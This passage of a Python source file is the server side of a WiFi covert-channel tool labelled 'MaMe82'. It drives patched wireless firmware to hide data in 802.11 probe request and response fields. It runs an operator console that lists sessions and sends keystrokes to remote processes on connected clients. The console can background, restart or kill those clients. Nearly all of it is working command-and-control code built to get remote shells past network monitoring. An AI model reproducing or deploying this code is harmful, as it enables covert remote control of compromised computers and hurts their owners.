|
f80211_bssid = data[16:22] # store bssid
|
|
f80211_fragment = data[22:24] # store fragment
|
|
f80211_parameters = data[24:] # store additional IEs (TLV list)
|
|
f80211_parameters = f80211_parameters[:-2] # fix to avoid parsing 0x0000 padding as SSID type
|
|
|
|
#print("IEs: {0}".format(Helper.s2hex(f80211_parameters)))
|
|
|
|
ies = ServerSocket.__parse_ies(f80211_parameters)
|
|
|
|
# check fo SSID
|
|
ssid = None
|
|
ssid_len = 0
|
|
if 0 in ies:
|
|
ssid_len = ies[0][0]
|
|
ssid = ies[0][1]
|
|
else:
|
|
continue
|
|
|
|
|
|
# check for vendor specific IE (we only check one of the possible vendor IEs)
|
|
ven_ie = None
|
|
ven_ie_len = 0
|
|
if 221 in ies:
|
|
ven_ie_len = ies[221][0]
|
|
ven_ie = ies[221][1]
|
|
|
|
|
|
if not Packet.checkLengthChecksum(ssid, ven_ie):
|
|
#logging.debug("Packet dropped because length or checksum are wrong")
|
|
continue
|
|
|
|
|
|
|
|
# create a packet and dispatch it
|
|
packet = Packet.parse2packet(Helper.s2mac(f80211_sa), Helper.s2mac(f80211_da), ssid, ven_ie)
|
|
self.__inbound_dispatcher(packet)
|
|
|
|
|
|
logging.debug("... stopped listening for firmware events")
|
|
|
|
@staticmethod
|
|
def __send_probe_resp_to_driver(sa, da, ie_ssid_data, ie_vendor_data=None):
|
|
if ServerSocket.__nl_out_socket_fd == None:
|
|
ServerSocket.eprint("Socket FD for unicast to device driver not defined")
|
|
return
|
|
|
|
arr_bssid = mac2bstr(sa)
|
|
arr_da = mac2bstr(da)
|
|
|
|
ie_ssid_type = 0
|
|
ie_ssid_len = 32
|
|
ie_vendor_type = 221
|
|
ie_vendor_len = 238
|
|
|
|
buf = ""
|
|
|
|
|
|
# For Atheros AR9271:
|
|
# Supported rates IE and DS parameter set IE have to be present in probe response, otherwise the frame is discarded
|
|
# additional note on Atheros:
|
|
# - vendor IEs isn't transmitted for probe requests issued by scans from Windows, thus the client-to-server mtu is only 7 bytes
|
|
# - vendor IEs from probe responses could be read back (as long as the IEs highlighted above are added), thus client to server MTU is 264 bytes
|
|
# - a single scan takes less than 4 seconds
|
|
# - a scan caches up to 22 received probe responses (based on observations). We only have 16 sequence numbers, this would break the
|
|
# flow control (doubled seq/ack). Luckily the Windows driver returns the list in order of reception, which means the last SSID in the
|
|
# list of scan results, is the newest Probe Response received. By iterating over the list in reverse order, we could discard older packets
|
|
# with repeated sequence number relaibly.
|
|
# - the "automatic mtu scaling" works nicely ... client to server data uses only the SSID IE, server to client data contains an additional
|
|
# vendor IE and thus has a larger MTU
|
|
# For 'Intel(R) Dual Band Wireless-AC 3160'
|
|
# no additional IEs (beside SSID and Vendor specific IE with data), have to be present in order to work
|
|
# - MTU in both directions is 264 bytes, but a single scan takes ~4 seconds
|
|
|
|
insert = "\x01\x08\x82\x84\x8b\x96\x12\x24\x48\x6c" # Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6(B), 9, 12(B), 18, [Mbit/sec]
|
|
insert += "\x03\x01\x0b" # DS Parameter set: Current Channel: 11
|
|
|
|
|
|
insert += "\x7f\x08\x00\x00\x00\x00\x00\x00\x00\x40"
|
|
|
|
|
|
|
|
len_insert = len(insert)
|
|
if ie_vendor_data == None:
|
|
buf = struct.pack("<II6s6sBB32s{0}s".format(len_insert),
|
|
MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SEND_PROBE_RESP,
|
|
48 + len_insert, # 6 + 6 + 1 + 1 +32 + 1 + 1 + 238
|
|
arr_da,
|
|
arr_bssid,
|
|
ie_ssid_type,
|
|
ie_ssid_len,
|
|
ie_ssid_data,
|
|
insert)
|
|
else:
|
|
buf = struct.pack("<II6s6sBB32s{0}sBB238s".format(len_insert),
|
|
MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SEND_PROBE_RESP,
|
|
286 + len_insert, # 6 + 6 + 1 + 1 +32 + 1 + 1 + 238
|
|
arr_da,
|
|
arr_bssid,
|
|
ie_ssid_type,
|
|
ie_ssid_len,
|
|
ie_ssid_data,
|
|
# insert additional IEs here
|
|
insert,
|
|
ie_vendor_type,
|
|
ie_vendor_len,
|
|
ie_vendor_data)
|
|
|
|
#print("Outbuf to driver: {0}".format(Helper.s2hex(buf)))
|
|
|
|
ioctl_sendprbrsp = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, buf, True)
|
|
nexconf.sendNL_IOCTL(ioctl_sendprbrsp, nl_socket_fd=ServerSocket.__nl_out_socket_fd)
|
|
|
|
tmp = 0
|
|
def __inbound_dispatcher(self, req):
|
|
#logging.debug("Inbound dispatcher received packet")
|
|
|
|
|
|
# "init connection" set
|
|
if req.FlagControlMessage and self.isListening:
|
|
if req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ1 or req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ2:
|
|
if req.srvID != self.srvID:
|
|
logging.debug("Control message CTLM_TYPE {0} targets srvID {1}, but we're {2} ... packet dropped".format(req.ctlm_type, req.srvID, self.srvID))
|
|
else:
|
|
self.handle_request(req)
|
|
else:
|
|
logging.debug("Unhandled CTLM_TYPE {0} !! Dropped packet in dispatcher!!".format(req.ctlm_type))
|
|
elif self.isListening:
|
|
# no CTLM, but data
|
|
self.handle_request(req)
|
|
else:
|
|
# don't handle frame (no probe responses)
|
|
logging.debug("!! Dropped packet in dispatcher!!")
|
|
req.print_out()
|
|
|
|
|
|
|
|
def sendResponse(self, resp):
|
|
# type: (Packet) -> None
|
|
if len(resp.sa) == 0:
|
|
resp.sa = "de:ad:be:ef:13:37" # ToDo: randomize bssid/sa
|
|
ServerSocket.__send_probe_resp_to_driver(resp.sa, resp.da, resp.generateRawSsid(False), resp.generateRawVenIe(False))
|
|
|
|
def handle_request(self, req):
|
|
# ToDo: this method handles everything, thus code should be moved to inbound dispatcher
|
|
#logging.debug("Init connection")
|
|
|
|
q = self.__connection_queue
|
|
|
|
# handle CON_INIT_REQ1 for clients without ID or forward repeated CON_INIT_REQ1 to correct client socket
|
|
if req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ1 and req.seq == 1:
|
|
# the very first connection (Packet.CTLM_TYPE_CON_INIT_REQ1) request couldn't be handled by a client socket, as no one does exist
|
|
# this is only true for the first probe request of this kind (we get them in bulks, with repetitions)
|
|
|
|
# extract init vector
|
|
iv = struct.unpack("I", req.pay1[1:5])[0]
|
|
|
|
|
|
con_pending_open = q.getConnectionByClientIV(iv)
|
|
if con_pending_open == None: # no ClientSocket exists for this IV
|
|
print("InReq1: Connection request from client IV: {0}".format(iv))
|
|
req.print_out()
|
|
|
|
cl_sock = q.provideNewClientSocket(self.srvID)
|
|
if cl_sock == None:
|
|
logging.debug("No additional connections possible")
|
|
# no need to send a connection reset, as the client is still in initial state and continues trying to connect
|
|
return
|
|
|
|
cl_sock.clientIV = iv
|
|
cl_sock.clientIVBytes = req.pay1[1:5]
|
|
|
|
resp = cl_sock.handleRequest(req)
|
|
print("... InRsp1: Handing out client ID {0}".format(resp.clientID))
|
|
self.sendResponse(resp)
|
|
# ClientSocket for given IV exists already
|
|
else:
|
|
resp = con_pending_open.handleRequest(req)
|
|
if resp != None:
|
|
self.sendResponse(resp)
|
|
else:
|
|
logging.debug("unhandled request")
|
|
req.print_out
|
|
#logging.debug("Received continuos stage1 request for socket which is not in pending_open state") # shouldn't happen (only if IV is reused)
|
|
# ToDo: send reset
|
|
else:
|
|
cl_sock = q.getConnectionByClientID(req.clientID)
|
|
if cl_sock != None:
|
|
resp = cl_sock.handleRequest(req)
|
|
if resp != None:
|
|
self.sendResponse(resp)
|
|
else:
|
|
logging.debug("Clientsocket has no response for following request")
|
|
req.print_out()
|
|
else:
|
|
logging.debug("No target socket for following request from clientID {0}, sending reset...".format(req.clientID))
|
|
req.print_out()
|
|
resp = Packet.generateResetPacket(req, self.srvID, Packet.CON_RESET_REASON_INVALID_CLIENT_ID)
|
|
self.sendResponse(resp)
|
|
|
|
|
|
def getOpenClientSockets(self):
|
|
return self.__connection_queue.getConnectionListByState(ClientSocket.STATE_OPEN)
|
|
|
|
def accept(self):
|
|
# type: () -> ClientSocket
|
|
|
|
# ask connection queue for the first connection in Connection.STATE_PENDING_ACCEPT
|
|
# if there's no connection, passive wait for a state change
|
|
# repeat till there's a connection in state Connection.STATE_PENDING_ACCEPT and return it
|
|
# before returning, set state to open
|
|
|
|
logging.debug("Entering accept()")
|
|
|
|
while self.isListening:
|
|
cons_pa = self.__connection_queue.getConnectionListByState(ClientSocket.STATE_PENDING_ACCEPT)
|
|
if len(cons_pa) == 0:
|
|
# no pending connection, passive wait and retry
|
|
self.__connection_queue.waitForPendingAcceptStateChange()
|
|
continue
|
|
else:
|
|
# pending connection found
|
|
result_con = cons_pa[0]
|
|
|
|
result_con.state = ClientSocket.STATE_OPEN
|
|
logging.debug("...returning from accept")
|
|
return result_con
|
|
|
|
|
|
|
|
import cmd
|
|
|
|
class Server(cmd.Cmd):
|
|
def __init__(self, srvID=9, max_clients=3):
|
|
self.serv_socket = ServerSocket()
|
|
self.serv_socket.bind(srvID)
|
|
self.serv_socket.listen(max_clients)
|
|
#self.client_socks = []
|
|
|
|
self.server_sock_thread = Thread(target = self.__connection_handler, name = "Server connection handler thread", args = ())
|
|
self.server_sock_thread.start()
|
|
|
|
self.prompt = "MaMe82 WiFi covert channel > "
|
|
cmd.Cmd.__init__(self)
|
|
|
|
def exit(self):
|
|
print("Exitting server ...")
|
|
self.serv_socket.unbind()
|
|
|
|
def __connection_handler(self):
|
|
try:
|
|
while self.serv_socket.isListening and self.serv_socket.isBound:
|
|
con = self.serv_socket.accept()
|
|
if con == None:
|
|
continue
|
|
logging.debug("Accepted new client ID: {0}".format(con.clientID))
|
|
#self.client_socks.append(con)
|
|
#con.print_out()
|
|
|
|
finally:
|
|
# ToDo: disconnect all client sockets
|
|
self.serv_socket.unbind()
|
|
|
|
def __check_for_clientID(self, clientID):
|
|
# type: (int) -> bool
|
|
client_socks = self.serv_socket.getOpenClientSockets()
|
|
for c in client_socks:
|
|
if c.clientID == clientID:
|
|
return True
|
|
return False
|
|
|
|
def __get_client_sock_by_ID(self, clientID):
|
|
# type: (int) -> ClientSocket
|
|
client_socks = self.serv_socket.getOpenClientSockets()
|
|
for c in client_socks:
|
|
if c.clientID == clientID:
|
|
return c
|
|
return None
|
|
|
|
def __interact(self, clientID):
|
|
# grab clientSocket
|
|
cs = self.__get_client_sock_by_ID(clientID)
|
|
if cs == None:
|
|
print("No session for clientID {0} found".format(clientID))
|
|
return
|
|
|
|
interact = True
|
|
print("Start interacting with remote process of client {0} ... Press <CTRL+C> for menu".format(clientID))
|
|
while interact:
|
|
try:
|
|
#raise KeyboardInterrupt
|
|
if select([sys.stdin], [], [], 0.1)[0]: # 100 ms timeout, to keep CPU load low
|
|
input = sys.stdin.readline() # replace readline by accumulation of input chars til carriage return
|
|
#input = input.replace('\n', '\r\n')
|
|
input = input.replace('\n', '\r\n')
|
|
|
|
#print(input)
|
|
cs.send(input)
|
|
|
|
|
|
except KeyboardInterrupt:
|
|
print("\nInteraction with clientID {0} paused.\nWhat do you want to do ?".format(cs.clientID))
|
|
print("\t0: Continue interaction")
|
|
print("\t1: Background the session")
|
|
print("\t2: Restart the client (connects back again)")
|
|
print("\t3: Exit the client (Warning: client won't connect back again)")
|
|
#print("\t4: [not implemented] Clear in- and outqueue (long output pending)")
|
|
|
|
hasChosen = False
|
|
options = [0, 1, 2, 3, 4, 5]
|
|
while not hasChosen:
|
|
given = raw_input("Choose option: ")
|
|
try:
|
|
selection = int(given)
|
|
except ValueError:
|
|
print("Invalid option")
|
|
continue
|
|
|
|
if selection in options:
|
|
break
|
|
else:
|
|
print("Invalid option")
|
|
|
|
if selection == 0:
|
|
# do nothing
|
|
pass
|
|
elif selection == 1:
|
|
interact = False
|
|
continue
|
|
elif selection == 2:
|
|
interact = False
|
|
cs.disconnect(Packet.CON_RESET_REASON_UNSPECIFIED)
|
|
continue
|
|
elif selection == 3:
|
|
interact = False
|
|
# ToDo: client couldn't be deleted from connections list with state open, as it currently doesn't respond to kill and thus we have to resend it to assure reception
|
|
cs.sendCtlMessage(Packet.CTLM_TYPE_KILL_CLIENT, "")
|
|
continue
|
|
elif selection == 4:
|
|
|
|
print("This option is under development")
|
|
else:
|
|
# ToDo
|
|
print("Option not implemented")
|
|
|
|
|
|
while cs.hasInData():
|
|
inchunk = cs.read(cs.mtu)
|
|
if len(inchunk) > 0:
|
|
#print("inchunk: {0}".format(inchunk))
|
|
sys.stdout.write(inchunk)
|
|
else:
|
|
logging.debug("Empty packet")
|
|
|
|
|
|
def emptyline(self):
|
|
pass # don't repeat last line
|
|
|
|
def do_sessions(self, line):
|
|
client_socks = self.serv_socket.getOpenClientSockets()
|
|
for csock in client_socks:
|
|
print("{0}: Session clientID {0}, clientIV {1}".format(csock.clientID, csock.clientIV))
|
|
|
|
def do_interact(self, line):
|
|
inval_id = "You have to provide a valid client ID (see 'sessions' command)"
|
|
try:
|
|
clientID = int(line)
|
|
except ValueError:
|
|
print(inval_id)
|
|
return
|
|
|
|
if not self.__check_for_clientID(clientID):
|
|
print(inval_id)
|
|
return
|
|
self.__interact(clientID)
|
|
|
|
def do_exit(self, line):
|
|
self.exit()
|
|
return True
|
|
|
|
|
|
|
|
|
|
|
|
##### MAIN CODE #####
|
|
srv = Server(srvID=9, max_clients=15)
|
|
try:
|
|
srv.cmdloop(intro=None)
|
|
except KeyboardInterrupt:
|
|
srv.exit()
|
|
finally:
|
|
srv.exit()
|
|
|
|
|
|
#SERVER_ID = 9
|
|
#serv_socket = ServerSocket()
|
|
#serv_socket.bind(SERVER_ID)
|
|
#serv_socket.listen(7)
|
|
|
|
|
|
#try:
|
|
#while True:
|
|
#con = serv_socket.accept()
|
|
#logging.debug("accepted connection:")
|
|
#con.print_out()
|
|
#shell = ClientShell(con)
|
|
#shell.cmdloop()
|
|
|
|
## we directly interact with the first connection, till a connection handler is implemented
|
|
##time.sleep(1)
|
|
#finally:
|
|
#serv_socket.unbind()
|
|
|
|
|